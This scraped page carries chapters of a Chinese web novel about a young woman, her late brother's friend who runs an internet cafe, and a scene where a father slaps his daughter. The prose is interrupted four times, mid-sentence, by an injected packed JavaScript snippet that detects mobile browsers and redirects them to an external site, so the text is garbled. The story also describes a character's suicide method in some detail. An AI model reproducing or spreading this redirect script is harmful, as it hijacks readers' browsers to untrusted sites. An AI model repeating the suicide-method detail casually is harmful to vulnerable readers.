一把游戏对局时间在二十分钟到四十分钟不等,程舒晚接连打了五六把之后腰都坐得有些酸了,于是站起来伸了个懒腰,退出游戏下楼去小卖部买瓶水。 今天周五,木吉网咖大厅坐满了隔天不用上班上学的网客。小卖部在靠近大门口的位置,和餐饮区放在一块,没有隔断,程舒晚眼尖,在餐饮区的座位上看见了黑衬衫白裤子的身影。 关时坐在背对她的座位上,前面的桌上放着一杯喝了大半的柠檬茶,正低着头刷手机。 果然很闲……程舒晚心道。 她没有跟他打招呼的打算,往旁边绕了半圈走向货架。 有个穿着工作服的男人走了过来,程舒晚用余光扫了一下,男人三十好几的年纪,微微发福,面带胖人特有的和善。他没看见程舒晚,而是跟关时打了声招呼:“还不回?” 程舒晚这会儿站在货架转角,距离二人只有两米不到的距离,但正好被货架挡住,他们没看见她。 “裴哥。”关时笑着招呼,“吃宵夜?” “唉大晚上的吃不下东西,过来坐坐。”裴哥说着,看到关时面前的柠檬茶,“你喝这个晚上睡得着么?” “甭管了您,跟我妈混太久了是吧,什么都管。”关时笑。 二人只是在普通寒暄而已,程舒晚回过神来,心道自己为什么要站在货架后偷听,做贼心虚一样。 她找到货架上放矿泉水的地方,随便摸了一瓶便宜的准备去结账。 “我听小贾说你接待了个姓程的姑娘?”裴哥问。 程舒晚刚迈出去的脚步在半空停了停。 要是没有第二个姓程的,那这说的就是她了吧。 关时“嗯”了声。 裴哥扬扬下巴,“程老师他妹?” “嗯。” “等她下机?” “没,人家跟我不熟。”关时笑了下。 “贫吧你。”裴哥乐呵呵地道,“你想熟就能熟,又是朋友的妹妹。” 关时沉默几秒,“不一样。” “嗯?有什么不一样?”裴哥问,随口开玩笑,“难道你不想只做朋友?” 货架后的程舒晚:“……” 妈的这人在说什么! 关时也愣了,随后失笑:“不是那个意思。” 见裴哥还有追问的样子,关时站起来,把他摁到椅子上去,“你要休息就休息你的,年轻人的事儿,你少管哈。” 裴哥:“你干什么去?” “厕所。” 关时离开的时候路过货架,程舒晚往后躲了躲,省得撞见场面尴尬。 连店里的员工都知道兄长,也许关时和兄长的关系真的不错,虽然她从来没听他说起关时这么一号人……好吧,也正常,他们兄妹之间的交流本来就少得可怜。 她拿着矿泉水结完账,一边往小卖部外走,看看时间已经是晚上十点多,再玩一会儿也该回家去了。 ……“家”吗? 程舒晚突然有点迷茫。 当年高考她超常发挥,低空飞过海大的计算机系录取线,毕业后也留在了海宜市,那时候的“家”就是她在市中心寸土寸金的一室一厅出租屋,只能自己一个人住,多只猫都嫌挤。 回到朔江市后,她的“家”是父母所在的新房子——兄长付了首付,不过月供是她在还,她有充足的理由把它称为“家”。 但她今天从那儿搬出来的时候,浑身上下的毛孔都灌进了放肆的风。 她打心眼里不想承认那是她的家。 那802呢? 她搬过来的时候几乎没做考虑,这是她在朔江市唯一能去的地儿。但是现在冷静下来,她对这个地方,这间房子都相当陌生,连带着对自己的展望,明天起床之后该做什么,也完全摸不到方向。 再打一天游戏? 那未免有点太费眼睛了。 算了,明天起床指不定几点呢,再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364877|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 程舒晚拿着矿泉水就要往楼梯走去,网咖门口冲进一个人,浑身带着火气,狂风似的刮了过来,直直冲向前台。 程舒晚奇怪地看过去,这什么,上个网这么有气势? 来人是个膘肥体硕的中年男人,满脸怒意,搞不清楚是来上网的还是来踢馆的,外套底下穿的似乎是居家服,好像在家躺着突然被揪起来一样。 前台的网管还是那个叫小贾的小哥,他被来者的不善气质吓一跟头,刚要张嘴说声“你好”就被对方打断。 “我找人!”中年男人怒气冲冲道,“叫薛川阳的!肯定他妈的在这儿!” 他的声音不小,程舒晚隔着有□□米都觉得脑袋嗡嗡。 小贾脸上的营业微笑都挂不住了,双手交叉捻着,硬着头皮道:“呃,先生,我们不能透露客人信息……” 他没说完就被中年男人打断,“我是她爹!死小孩就知道泡网吧,你们看到学生不知道拦吗!” “呃……我们合法经营的,未满十八肯定会拦,你家孩子是不是已经成年了?”小贾问。 中年男人瞪他:“你管她成年没成年?” 这就相当不讲理了,已经不是小贾能处理的范畴,他满脸无奈,向程舒晚的方向投来求助的目光。 程舒晚回头,只见裴哥从身边走过去,站到中年男人跟前,耐心地接过了话:“你家孩子要是成年,我们没有理由阻拦的。你孩子有带手机吗?可以打电话确认一下……” “确认个屁,她就在这里!”中年男人根本就不在可以沟通的状态,一把推开他俩,扯着嗓子就开始往大厅走,“薛川阳!你给我滚出来!” “喂,诶,你别这样!”裴哥连忙过去拦。 大厅靠里的位置,一个身影一推椅子站了起来,那是个留着短发的女孩,面容还青涩,也就是成年上下的年纪,满面紧张,略带恐惧地看向那言行张扬的中年男人。 怎么一个清秀的女孩叫“薛川阳”这样的名字。 中年男人看见了她,立即大步流星走过来,嘴里咆哮:“还跑!过来!” 女孩当然不可能就这样束手就擒,她隔着两排电脑和客人跟父亲转圈,中年男人后面还有裴哥在阻拦,三人转似的,一时间场面有些荒诞和好笑。 女孩找准时机,往程舒晚所在的过道撒腿就跑。 程舒晚一时间不知道该躲还是该拦,但还不等她动作,中年男人已经三两步追了上来,扬起巴掌往女孩身上扇:“叫你跑!” 这巴掌落在女孩脸上,啪的一声,她的头瞬间陀螺般甩向一边,踉跄着就往地上扑去,眼见就要磕着墙角,程舒晚眼疾手快捞了她一把。 “诶,没事吧。”她问。 女孩半坐在地,茫然地抬起头,看起来是被打蒙了。中年男人仍不解气,抓起她的胳膊就拽起来,眼见下一个巴掌就要落到她身上。 “喂!”程舒晚呵斥,伸手把女孩往身后拉,一边把他推开,裴哥也终于赶上,把中年男人往后扯。 但中年男人力气还真不小,重重阻挠之下愣是要把这巴掌打完,拉扯之中失了准头,往程舒晚脸上甩了过去。 裴哥叫道:“诶!” 程舒晚躲闪不及,只能抬手来挡。 电光火石之间她甚至抽出时间来想象了一下,自己这具被加班熬夜摧残的身体要是挨一下,估计也得跟陀螺一样飞出去,那是不是太精彩了。 然而预料中的疼痛没有降临,她抬眼,只见身着黑色衬衫的高大身影横插进来挡在自己面前,手里紧紧攥着中年男人的手腕。 是关时。 他脸上没有惯常的笑容,面无表情地盯着中年男人,一点不废话:“小贾别愣着,报警。” 5. 报警 陡然安静的气氛随着关时这句话重新推上风口浪尖,中年男人一听要报警立刻嚷嚷道:“教训孩子而已,有什么需要警察的!” “你打到我客人了。”关时一字一句。 中年男人指着程舒晚,“她自己要过来的,再说不是没打到吗?” “你女儿也是我客人吧。”关时提高音量,“松,手。” 中年男人看起来还要反驳,但脸色突然变得僵硬,程舒晚目光落在关时捏着他的手,关时手背上青筋都出来了,中年男人估计被他攥得够呛,只能松开拽着女儿的手。 程舒晚趁机把女孩捞过来,带到餐饮区的空位上坐下,掰起她的脑袋看脸上挨打的地方。嘴角没有磕破,也没有伤到眼睛,就是脸泛红有点淤青的迹象,估计得肿。 她环顾四周,最后朝裴哥招了招手:“有冰块吗?” “我去拿。”裴哥说着跑向就餐区后厨。 程舒晚看向关时和中年男人,两人还没分开。 关时虽然眉眼松着,没有歇斯底里也没有立眉瞪目,但没了笑容的掩盖,本来就带有攻击性的长相立刻展现出了强大的压迫感,仅仅是盯着人看就盯出山雨欲来风满楼的气势。 仿佛只要一点苗头,他就能瞬间将这人掀翻在地,狂风骤雨地揍。 小贾捏着手机凑近小声问:“时哥,还报警吗?” 关时没看他,“报。” 中年男人一看没有善了的余地,大叫起来:“有什么好报警的!我干什么了!” 他嗓门很大,带着怒火,听起来相当冲,程舒晚余光看见女孩攥紧的手都抖了一下。 “你继续,你干了什么监控都拍了。”关时没理会他的气愤,单手拽着他的胳膊,一手拖了把椅子过来,将他扔进椅子里,“不过我奉劝你最好在这待着安分点等警察来,别再闹。” 中年男子不服地啐一口:“来就来!你们这种网吧就该倒闭!不务正业!” “话可不能乱说,叔。”关时双手插兜灿烂地笑了一下,露出一口白牙,“工商营业执照、网络文化经营许可证、食品安全许可证、消防安全合格证等一应俱全,官方认证的正业,我务得好好的,哪儿不正?是你自己不分是非,孩子上个网就一副她这辈子完了的样子。” “你他妈!”中年男人在扶手上一撑就要起身来反驳,被关时按了回去。 “有话坐着也能说。”关时看着他,“你要是激动起来再想打人,我也不会像刚刚那么温和了。” 中年男人瞪着关时,应该是意识到这个年轻的老板并不好惹,末了终于扭开头,不再与他争执。 裴哥从后厨那儿拿来了冰袋,递给女孩:“捂着,啊,会有点疼。” 女孩一言不发,像蔫儿了叶的胡萝卜,把冰袋摁在脸上。裴哥见程舒晚一直陪着,歉意地跟她赔了几声不是,关时转头往这边看了一眼,表情逐渐恢复温和,也走过来:“没受伤吧?” “刚刚多谢。”程舒晚微微点头,“她还好,脸有点儿肿。” “……”关时目光往下,在女孩身上看了看,随后回到程舒晚身上,“你呢?” 程舒晚这才发觉关时这句“没受伤吧”一开始问的就是她,“哦”了一声,“没打到我。” “没事就好。”关时正要说什么,低头看手机响了。 “裴哥,你看一下。”他说着接起电话,往门口走去,“嗯,是我报的案。看他没有喝酒,很清醒……” 听起来是民警的电话,估计还要折腾一会儿。程舒晚见女孩还是很紧张的样子,偏过头,只见被关时分隔在大厅那头的中年男人依然气势汹涌,视线穿过十来米死死地瞪着女儿。 她往前走了一步,挡住中年男人的视线。 “高中生吗?”她分散女孩的注意力。 女孩一手用冰袋捂着脸,魂不守舍地抬头看她,“……高三。” 高三学生确实大部分成年了,但这距离高考也就两个多月了吧,泡网吧……程舒晚想着,又看了看她那个爹,觉得这可能不是她能评价的情况。 而且高中泡网吧,这事儿她也不是没干过。 “对不起。”女孩突然开口,声音低落。 程舒晚回过神来,“什么?” “因为我,”她蔫了吧唧的,“变成这样。” 站在后头的裴哥出声安慰:“别别别,你不用自责,这不是你的……” 程舒晚:“没关系,至少你知道给人添麻烦了要道歉,不像你爸。” 裴哥:“……” 他偏头盯着程舒晚欲言又止,脸上的表情好像在说你是不是有病,会不会安慰人。 程舒晚继续道:“不是所有成年人都会认错,你比他们好多了。” 她这算不上安慰的话又冷又硬,但似乎真的让女孩听进去了,她沉默良久,身体好像卸去了重担一般慢慢弯下去,趴在桌上把脸埋进手臂,似乎是哭了。 裴哥惊奇地挠了挠脑袋打量程舒晚,突然发现了什么,“嘶”了一声,低声问:“你姓程吗?” 程舒晚“嗯”了声,反正迟早是要被认出来的,顿了顿,“你认识我哥?” “认识,以前的熟客来的。”裴哥道,“我看你跟他长挺像。” “啊。”程舒晚不知道该说什么。 裴哥倒是自来熟,和和气气地笑道:“程老师跟关时……就我们老板,以前挺熟的,你要是有什么事儿找他帮忙就行,他肯定乐意。” 程舒晚觉得挺有意思的,连这个店员都跟关时一样,好像身上有个程序,一看见她就开始复述“有事找关时”。 她长得看起来很容易出事的样子吗? 乐了一瞬间后程舒晚就觉得这话听得着实有些烦,没应答裴哥的话,转开视线看门外风景,结果好巧不巧,关时正站在网咖大门口,她的目光自然而然落在他身上。 ——阴魂不散。 啧。 但是鬼使神差,她没有把视线移开。 关时靠在玻璃门边上在电话里说着什么,脸上带着营业样的微笑,手指间不知道什么时候点起了一支香烟,袅袅微蓝烟雾飘出门去,散在空气中。 程舒晚突然想起来半年前看见关时的第一眼。 那天的气氛凝重得让人喘不过气,人来人往的寂静中,一身黑衣的陌生青年站在窗边,嘴里叼着烟,烧过的烟灰已经凝成长长的一串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364878|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他却一动不动如同雕塑,面无表情地望着窗外出神。 而她站在人来人往的走廊,就在几米之外看着他。 那时候她想,他们会不会是同类。 突然,关时挂断电话将香烟摁熄,抬起头冷不丁撞上程舒晚的视线,愣了愣,随后爽朗地笑了一下,把她的意识拉了回来。 ……不是。 绝对不是同类。 程舒晚再次移开目光,但关时已经走了过来。 “抱歉,等会可能得麻烦你配合一下。”他说道,“不会耽误太久。” 程舒晚垂下目光看着女孩,“没事,不耽误。” “你……”关时似乎想说什么,停顿一会儿,“你下机了吗?” “没。” “我们先帮你下了吧,等事情解决再给你开。”关时笑了笑,“是我们失职,今天给你免单。” “啊。”这也太客气了,“免单啊。” “必要的。”关时看向女孩,“嘿。” 女孩刚刚哭过,红着眼看他。 “我在店里看见过你几次。”关时蹲下来平视她道,“我不想评论这件事谁对谁错,作为老板我只能说以后我的店也不会拒绝你,想来随时能来,但是我希望今天这样的事情不要再发生。” 女孩抿着嘴,发了声“嗯”。 “好。”做完警告,关时又露出笑来,“别怕啊,等会做调解,我们会帮你。” 民警很快就到了,小贾和关时作为报案人自然要配合着了解情况,程舒晚把女孩带过去的时候,她已经稳住了情绪,接受了民警的询问和调解。 中年男人也冷静了不少,从头到尾“是是是”“您说的是”地应和民警,垮着脸诉苦夫妻俩整天没日没夜挣钱,都投资在女儿身上了,花了很多钱,女儿却多么叛逆云云。 民警看着一言不发,还拿着冰袋敷脸的女孩,根本不吃他这一套:“再怎么样也不能打孩子啊,你看小姑娘被你打成什么样?” “是是是。”中年男人叹了口气,“我那是真的太生气了,没忍住,你看,撒谎翘补习班跑来网吧,那课一节要一百多呢,败家玩意,我跟她妈……” “我早就说过我自己能学。”女孩突然冷不丁道,“说了七八遍我不用补课,你们一边说好一边先斩后奏然后变脸说钱不能退逼着我去上,现在又说我败家。” “你说什么!”中年男人腾地站起身,“你知不知道我跟你妈多辛苦!都是为了谁!” 关时听这话都有点儿皱眉,他正要开口,程舒晚却先他一步开口:“如果是为了女儿,为什么不听你女儿的意见?” 中年男人哑口片刻,皱眉看了过来。 程舒晚虽然刚刚差点儿被扇,但依然没有丝毫惧色,掀起眼皮直直盯着中年男人。 中年男人怒呛:“她能有什么好意见!只会玩物丧志!” “你是不是忽略了什么。”程舒晚说道,“投资索要回报的话不如去买股票,你女儿在是你女儿之前,她首先是个人,需要被尊重。” 女孩抬头看向程舒晚,眼神动容。 “你什么意思?”中年男人隐隐有把矛头转向程舒晚的预兆。 6. 同路 “咳。”就在这时,一直没发话的关时咳嗽一声,笑道:“就是说你在教育上有问题的意思。” 中年男人:“……” 关时:“还是继续说你跟你女儿之间的问题吧。” 关时先前动手的威慑力还在,中年男人没敢跟这个年轻人硬碰硬,只能瞪程舒晚一眼,就此作罢。 程舒晚听调解听得有些走神,聊来聊去都是她所抗拒的话题,都有些呼吸不畅了。她拍了拍关时示意自己去透口气,随后往门外走。 关时抄着手站,侧目看着她的背影。 网咖门外是安静的街道,程舒晚在餐饮区的小卖部买了包饼干,站在路边,就着三月的晚风慢慢吃着,平复心情。 有一种父母,就是这样的。 自顾自地打造一个梦放在孩子手上,把所有的精力,金钱,渴望,乃至痛苦都投进这个梦里,幻想着美梦成熟之后会有什么样的未来,完全不顾孩子想不想捧着它,有没有力气捧它。 孩子捧累了,不会关心孩子需不需要休息,只发愁别让投资打水漂了。 孩子如果想去碰其他的东西,他们就会发了疯一样,将那些东西全都砸烂。 就像她的那台笔记本电脑。 程舒晚再回到店里的时候,调解已经基本结束,这种家庭矛盾其实一次两次的调解也做不了什么,只能解决当前矛盾,女孩已经站回中年男人身边,虽然还相互冷脸着,两个民警正和关时说话。 程舒晚走近,听其中一个民警和颜悦色道:“小关,你店里有没有什么损失,有什么要解决的不?” 小关? 程舒晚瞥了关时一眼,怪不得是店员报的警,电话却打到关时手机上,这家伙真是八面玲珑啊,连民警的人脉都有。 关时热络地笑道:“我店里没事,谢谢关照了李叔,你们值班辛苦啊,晚上忙吗?” “还行,就是醉酒闹事的特别多,所里还拴着几个呢。不说了,该回所里了。”两个民警没多寒暄,他们了解到父女俩的住处,正好顺路,便一起捎上,离开了网咖。 那女孩回头,朝程舒晚挥了挥手。 事情解决差不多到晚上十一点半了,程舒晚没有再开机打游戏的心思,跟关时点了下头:“我走了。” “回家吗?”关时问。 “嗯。” “一起走吧。”关时耸肩一笑,“我也下班。” 程舒晚看着他。 刚刚是事出突然,她配合着帮忙解决,但不代表她这就对关时没有芥蒂了,毕竟她躲在……站在货架后听他们聊天时,裴哥说“你想熟就能熟,又是朋友的妹妹”的时候,关时回答的是“不一样”。 她以为关时对她的关照只是出于对朋友的妹妹的关心,但后来仔细一琢磨这个“不一样”,隐隐察觉到可能不止是这个原因。 因为她性格很差劲,不能“想熟就能熟”,所以“不一样”? 因为她不仅仅是朋友的妹妹,更是什么特殊的人,所以“不一样”? 也难怪裴哥会开玩笑说关时对她有意思,关时这话太语焉不详了。 程舒晚没闹明白关时到底对她什么看法,也不太在乎这个问题的答案,现在她只单纯觉得关时提出一起回去这件事很麻烦。 但他要下班自己又管不了。 ……麻烦的男人。 二人顺道而行,程舒晚走在靠商铺的一边,关时落后半步走在靠近马路一边。 大荷这片街区是老城,狭窄的车道拓宽过,缩减了人行道的面积,再加上人行道上老树根茎霸占,走起来还是有些费神,程舒晚正和凹凸不平的地砖斗智斗勇,就听落后半步的关时开口。 “你刚刚帮那女孩拦她爸,不怕?” 程舒晚不想回答,轻描淡写道:“嗯。” “嗯?”关时笑了,“嗯是怕还是不怕啊。” 程舒晚看他一眼,“我看着不像是会帮人的性子,所以你震惊了?” “……”关时服气地叹了口气。 程舒晚刻意把每句话都往地上扔,就是不想让关时接,但这个爽朗的家伙好像不懂尴尬似的,把话题又捡起来吹吹灰继续道:“裴哥都拦不住他,你那样很危险,可以不用出这个头的,保护自己最重要。” 春末的晚风仍透着丝凉意,透过袖口领口直往里灌。程舒晚把外套拉链拉上,双手揣进兜里,脑海中浮现出那中年男人扬起巴掌往女孩身上招呼的场面。 不知道过了多久,她突然开口。 “十八岁,价值观尚未完全成熟的年纪,被父母在大庭广众下碾碎自尊心,对人的打击是毁灭性的。” 关时闻言顿了顿,偏头垂眸看了她一眼。 程舒晚说完就觉得自己话太多了,对一个刚认识一天的邻居没什么好解释的,遂闭了嘴继续往前走。 高二的时候,程舒晚几乎没有自己的时间,只有周五周六晚上能抽出三个小时,跟父母说和谭婧一起去自习室,然后在谭婧的掩护下去黑网吧玩游戏,那是她每周唯二的娱乐时间。 只是后来某天事情败露,她也在众目睽睽之下挨了顿打,父亲倒是没有用巴掌扇她。 ——但是抽烂了一条皮带。 那天,网吧没有人站出来替她说话。 她不觉得刚刚那女孩和父母之间的矛盾能解决,但毕竟她不知道他们家庭情况有没有那么糟糕,自己的经验算不算特例,所以什么都没说。 但如果一定要给一句忠告的话,她祝愿那女孩能亲自争取到自己想要的东西。 这些她不想说,好在关时也没再继续问。 二人走进小区,路灯明亮硬朗,两道影子在地上拖出长长的距离,缩短,再拉长。走到十三栋楼下的防盗门前,程舒晚摸摸口袋,僵了僵。 见她没有动作,关时上前两步来拿出门禁卡在感应区滴了一下:“忘了带门禁卡?” “嗯。”程舒晚老实回答。 关时拉开门,“那得亏我跟你一块走。” “我可以看哪家灯亮着,然后按铃让人家帮忙开门。”程舒晚走进楼道,随口说道,“也可以找保安或者物业,不至于回不去。” “啊……”关时拉长声音。 楼道漆黑,程舒晚跺了下脚唤醒沉睡的声控灯,按下电梯上行的按键,等电梯的档口,关时问:“加个好友吗?” 程舒晚没第一时间反应过来,回头看他,发出了疑惑的音节:“嗯?” 关时:“我上班地方近,睡得晚,而且手机不离身。” 程舒晚看着他。 所以呢? 关时:“如果你下次忘带门禁卡,可以找我。” 程舒晚:“……” 她深吸一口气,从头顶冒出一缕细细的肝火。 又来了。 类似的话今天已经听了第四次了。 “关时。”她面无表情叫他的名字,转头看着他。 关时笑了笑:“嗯?” “为什么那么执着于给我排忧解难,”程舒晚一字一句慢慢道,“我看起来,很可怜吗?” 关时估计没想到程舒晚会说出这么一句话,呆愣片刻,解释:“我没有这个意思,就是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364879|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “因为我是程舒恒的妹妹?”程舒晚打断他。 关时蹙了蹙眉。 “但是程舒恒已经死半年了,”程舒晚道,“就算他活着,我跟他的关系也没有很好,不需要他的朋友来关照。” 关时似乎想说什么,嘴唇动了动,没说出来。 楼道陷入短暂的沉默,程舒晚突然有点后悔这么说,毕竟今天承了关时的情,但都到这儿了,她垂下眼,把最后一句说完:“今天谢谢你,但是日后我希望能保持普通的邻居关系,可以吗?” 这番话说出来她就知道,她和关时没有“做朋友”的可能了。 但是,算了。 她不需要别人的好意和关心。 她一直都是一个人走过来的,以后也是。 电梯叮的一声打开了门,程舒晚走进去按下8楼按键,手指停了停,还是帮关时按下5楼。 但关时站在门口迟迟没有进来,程舒晚见他没动,投去目光:“你要等下一趟?” “……”关时扯了下嘴角,什么都没说地走上电梯来,电梯门阖上,轿厢上行。 电梯里没人说话,在一片死寂中程舒晚后知后觉,自己刚刚那句话带着“磨蹭什么啊傻逼”的挑衅意思。 ……他肯定生气了吧。 程舒晚打量几眼关时的表情,他没有笑,但也没有愤慨,脸上挂着点……她看不太懂的情绪。 莫名其妙地有点悲伤。 “程舒晚。”关时比她高出一个头,他微微垂着眼看她,“抱歉。” 他道歉了。 程舒晚捻了捻手指,态度稍微软了下来,“……别道歉,你没做错什么。” 是她有病。 关时:“那我以邻居的身份跟你加个好友行么?” 程舒晚:“……” ? 不是? 程舒晚本来看到他的样子还心生愧疚,自我反思说了伤人的重话,下一秒就被这阵死皮赖脸给震惊了。 这人是不是狗啊? 电梯到了五楼,叮的一声打开了门,关时见程舒晚还没回话,询问地扬扬眉,添柴加火,“也不行吗?” 程舒晚一指门外:“出去。” 她就多余说这番话。 “好吧。”关时没做纠缠,遗憾地走出电梯,回头,“那晚安……” 他话音未落,程舒晚满面寒霜地以捅刀子的力度和速度摁下关门键,关上了电梯门。 关时:“……” 他站在电梯门口,低头暗暗笑了一下,随后慢慢收敛了嘴角。 就算他活着。 我跟他的关系也没有很好。 不需要他的朋友来关照。 关时深深地吸了一口气,缓缓吐出来。 打开家门时客厅还亮着灯,母亲姚婉婷躺靠在沙发上追剧,抽空掠了关时一眼,“今天那么晚?” “啊,”关时应了一声,在玄关换鞋,“你还不睡,明天早上不是还要去舞团?” 姚婉婷一扬手:“请假了,交谊舞哪有看帅哥有意思,一群老太老头运动运动锻炼锻炼身体还给你说成‘舞团’,多大脸啊我。” “谁说自己永远十八的。”关时笑了下,掏出烟盒走向阳台。 “诶,对了,你听说没……”姚婉婷将路过的关时一把拽住,“大半夜还抽烟,你怎么不把肺抽炸了!” “知道了知道了,啰嗦。”关时在沙发沿上坐下,“听说什么?” “802,”姚婉婷指了指天花板,“程老师家搬来人了,是个姑娘?” 7. 无眠 老小区就是这样,同一栋楼的邻居都相处了一二十年,哪家有点八卦隔天就全都知道了。 关时点头:“嗯,程老师妹妹。” 姚婉婷:“叫什么来着,舒晚对吧,你上回见过人家吗?人家认不认识你?” “哪能不认识我。”关时懒洋洋道,“对我的脸有点自信,妈。” 姚婉婷看着他,“你还有脸?” 关时:“……” 鉴定为亲妈。 日常损儿子的姚婉婷才不在乎他自尊心,问:“我听六楼的说,舒晚是一个人住啊?” 关时想了想,“应该是。” “那你得多关照下。”姚婉婷事无巨细地叮嘱起来,“改天带玥玥上门拜访拜访,或者让人家来家里吃个饭什么的,毕竟是程老师的家里人,姑娘家又一个人住,别人不说,咱家得上心点。” 关时“啊”了一声,片刻道:“慢慢来吧。” “慢什么?”姚婉婷看着他,“热情点!年轻人!” “打住,年轻人也有淡如菊的,我都已经够让人烦的了,别整天给我宣扬社交悍匪那套。”关时牙疼道,“那姑娘你就先别管了。” “嗬哟,还挺霸道啊,整什么事儿?”姚婉婷“嘿”地笑起来,拍了拍他,“看上人姑娘了?多大年纪啊?程老师那么帅一小伙儿,妹妹也好看吧?” 关时忍不住乐了一声,“得了您,您儿子还没落到是个姑娘就惦记的程度。” “啧,没志气,我就说你白瞎这张脸。”姚婉婷嫌弃地白他一眼,“别人那还真不好说,但这是程老师的妹妹,海大毕业高材生,那种条件扔市场上多少人抢着要,你还不趁着近水楼台……你爹跟你这么大已经给我求婚了,你还在这儿游手好闲的,也不知道打探军情、把握机会……诶!” 关时从沙发上蹦起来,撒腿落荒而逃——姚婉婷只要开了这个头就能滔滔不绝地讲下去,他还是走为上计才好。 “切,单身狗……”姚婉婷朝着他的背影嘀咕。 关时逃到阳台才松一口气,摸出打火机点了支烟夹在手上,却没有抽,而是垂着手臂架在露台边沿。 楼下的玉兰树长得很高,五楼的阳台望下去能看见树冠顶儿,阵阵树木的清香似有若无。 关时在花盆里弹了弹烟灰,抬起目光往上看,能看见八楼的阳台一角,隐隐透露出客厅的灯光。 那是802的阳台,过去是程舒恒,现在是程舒晚住的房子。关时吐出一口烟收回目光,手指在露台边沿上一下一下敲着。 额角的刘海微微拂过,扫得脑门儿发痒,关时回过神来,听见楼下的玉兰树正沙沙作响。 起风了。 他把烟头摁熄,转身拉开阳台门回屋里。 夜深。 程舒晚在床上翻了个身坐起来,伸出手摸索着打开了床头的灯。 大早上起来搬家收拾了一天,晚上又高强度打了三小时游戏,按理说身体应该是挺疲惫的了,但头脑里思绪繁多,一团乱麻地堆着,勒得她睡不着觉。 802是三室两厅两卫,程舒晚睡的次卧从前就一直就没人住,也不知道是不是心理原因,她总觉得又冷又闷,明明今天打扫的时候已经通过风了。 她穿上拖鞋去客厅倒了杯水,一边喝着,目光瞥到走廊尽头的主卧,那是程舒恒以前的房间,没有开灯,漆黑一片。 程舒晚像是被按下暂停键,端着杯子,眼也不眨地盯着房间门。 墙上的挂钟滴答,声声入耳,不知过了多久,她放下水杯,往主卧走去。 主卧挺大,正中摆着张线条简约的床,只有光秃秃的床垫,床单被子都收在衣柜里。房间里配套的卫生间比公卫小,但也不知道程舒恒是什么追求,装修的时候愣是在这个小卫生间塞了个浴缸,本就不大的卫生间更显得逼仄。 程舒晚打开主卫的灯,冷调的灯光打在白瓷砖铺就的卫生间里,白的墙壁,白的马桶,白的洗漱台,白的浴缸,四面八方都是没有生气的苍白。 她手搭着门框,无言地看着这个一眼就能尽收眼底的冷白主卫,狭窄不透气的空间,只要关上窗和门,即便是现在春末寒气尚在的天气也要闷一身汗。 更别提去年九月,朔江市漫长的夏季。 在那种炎热的天气里,程舒恒挑了这个房子里最小最密闭的这个空间,用胶带封了门窗。 他服用了精神医生那里开的安眠药,在浴缸里找了个舒服的姿势躺下。 然后烧了一盆碳。 这半年里,程舒晚时常忍不住想,兄长在做下这些事情的时候,到底是抱着什么样的心态。 父母自那之后就再也没来过这套房子,程舒晚知道他们在恐惧这里,逃避这里。 她不怕。 对于程舒恒的死,她心里的迷茫和疑惑远远多过恐惧。 二人虽然是亲兄妹,但年纪相差了六岁多,不但有代沟,而且各自的学生时代都常年住宿,兄妹之间别说是亲近,甚至可以说压根不太熟。 这么多年,她从来都不知道他在想什么。 在他眼里,自己这个妹妹,又算什么呢? 程舒晚在主卧站了很久,半晌才关了灯,重新回到次卧钻回被窝。 这一晚上睡得相当不踏实,或者说根本没怎么睡,迷迷糊糊之间,程舒晚似乎做了个梦,梦到自己身处八年前常去的小网吧里。 网吧环境昏暗,没有人,只有一排排的显示器亮着,但上面的内容无一例外都是空白,亮得刺眼,齐刷刷地对着她。她在这一排排显示器的注视下往前走,但网吧却像一条没有尽头的走廊,没有人,也没有出路。 不知道走了多久,身后突然有什么东西拽住了她,她回头,看见了程舒恒的脸。 程舒恒是个白净文弱的青年,总是挂着低眉顺眼的微笑,没什么脾气。但梦里的他冷着一张脸,满目陌生的情绪,直勾勾地盯着她。 下一刻,他的脸一下子变换了,好像变成晚上那中年男人的脸,又与父亲的样貌重叠,随后扬起手,一个巴掌招呼了下来,把她扇倒在地,周围的一切都颠倒起来,仿佛闪着雪花的屏幕,伴随带着怒意的喊叫:“丢人!” 声与色混乱得让人失去感受,程舒晚瘫坐在地,几乎没有起身的力气。 “叉烧。” 有个少年的声音穿过了混沌的外壳,在耳边响起。 这是……二更天? 程舒晚抬起头,面前伸过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 